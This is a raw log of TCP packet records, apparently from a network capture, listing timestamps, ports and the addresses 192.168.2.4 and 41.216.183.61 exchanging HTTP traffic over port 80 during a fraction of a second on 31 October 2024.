Oct 31, 2024 03:04:12.220272064 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.260077000 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.260150909 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.260180950 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.260193110 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.260194063 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.260227919 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.260231972 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.260291100 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.302771091 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.302871943 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.302884102 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.302907944 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.302927971 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.302942038 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.302952051 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.302978039 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.302992105 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.303024054 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.303036928 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.303076982 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334033966 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334067106 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334105968 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334110975 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334135056 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334153891 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334162951 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334208965 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334211111 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334244967 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334255934 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334290981 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334327936 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334362030 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334383965 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334394932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334407091 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334428072 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334458113 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334484100 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334549904 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334599972 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334605932 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334635019 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334656954 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334669113 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334676981 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334705114 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.334723949 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.334774017 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.335069895 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.335103035 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.335124969 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.335146904 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.335174084 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.335206032 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.335225105 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.335238934 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.335252047 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.335297108 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.335556030 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.335609913 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.335609913 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.335644960 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.335664034 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.335678101 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.335688114 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.335712910 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.335725069 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.335748911 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.335768938 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.335803986 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.345447063 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.345499992 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.345513105 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.345551968 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.345554113 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.345585108 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.345606089 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.345618963 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.345632076 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.345654964 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.345683098 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.345705986 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.377106905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.377126932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.377140045 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.377165079 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.377217054 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.419580936 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.419624090 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.419677973 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.419681072 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.419713974 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.419749022 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.419805050 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.419842958 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.419842958 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.419842958 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.419842958 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.419883966 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.419889927 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.419924974 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.419960976 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.419960022 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.419985056 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.420020103 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.450913906 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.450948954 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.450972080 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.450984955 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451020002 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451025963 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451026917 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451060057 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451071024 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451103926 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451121092 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451139927 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451143026 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451179028 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451195002 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451212883 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451236010 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451260090 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451332092 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451390028 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451397896 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451431990 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451450109 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451481104 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451487064 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451515913 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451529026 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451551914 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451572895 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451591015 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451838017 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451888084 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451901913 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451922894 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451925039 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451956034 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451972961 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.451992035 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.451994896 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.452040911 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.452261925 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.452296019 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.452313900 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.452332020 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.452338934 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.452364922 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.452378035 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.452399969 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.452408075 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.452447891 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.462057114 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.462110996 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.462117910 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.462146044 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.462160110 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.462179899 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.462197065 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.462213993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.462219954 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.462277889 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.462279081 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.462325096 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.462332964 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.462366104 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.462383032 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.462408066 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.493798971 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.493859053 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.493935108 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.493969917 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.493990898 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.494013071 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.536305904 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.536353111 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.536392927 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.536427021 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.536483049 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.536519051 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.536535025 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.536555052 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.536561012 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.536593914 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.536596060 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.536629915 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.536648989 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.536684036 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.536696911 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.536720037 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.536725044 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.536766052 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.567778111 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.567816973 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.567853928 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.567922115 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.567955971 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568010092 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568017960 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568017960 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568018913 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568018913 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568063021 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568099976 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568118095 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568123102 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568150043 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568183899 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568187952 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568187952 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568218946 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568234921 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568253994 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568278074 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568289995 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568300009 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568330050 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568344116 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568367958 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568572998 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568608999 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568635941 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568644047 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568658113 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568677902 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568694115 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568732023 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568831921 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568882942 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568886042 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568932056 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.568932056 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568969011 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.568981886 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.569004059 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.569013119 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.569076061 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.569267988 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.569319963 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.569328070 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.569354057 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.569370985 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.569390059 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.569401026 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.569437027 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.578943014 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.579045057 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.579096079 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.579097033 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.579117060 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.579132080 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.579163074 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.579165936 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.579200029 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.579200983 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.579235077 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.579252958 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.579269886 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.579282999 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.579346895 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.610770941 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.610925913 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.610934019 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.610960007 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.610980034 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.610997915 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.611006021 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.611048937 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.656415939 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.656466961 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.656505108 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.656546116 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.656553030 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.656546116 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.656588078 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.656616926 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.656616926 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.656622887 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.656646013 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.656657934 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.656688929 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.656696081 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.656712055 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.656754971 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.684443951 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.684531927 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.684545994 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.684580088 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.684597969 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.684614897 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.684631109 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.684648991 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.684669018 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.684695959 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.684703112 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.684737921 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.684755087 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.684772968 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.684778929 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.684824944 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.684827089 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.684859991 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.684878111 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.684901953 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.684992075 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.685045004 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.685086966 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.685086966 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.685095072 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.685129881 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.685159922 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.685162067 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.685182095 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.685197115 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.685224056 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.685241938 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.685574055 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.685606956 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.685631990 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.685655117 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.685657978 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.685693026 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.685704947 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.685728073 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.685739994 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.685764074 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.685774088 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.685810089 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.686042070 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.686077118 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.686099052 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.686120033 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.686135054 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.686168909 CET	80	63780	41.216.183.61	192.168.2.4
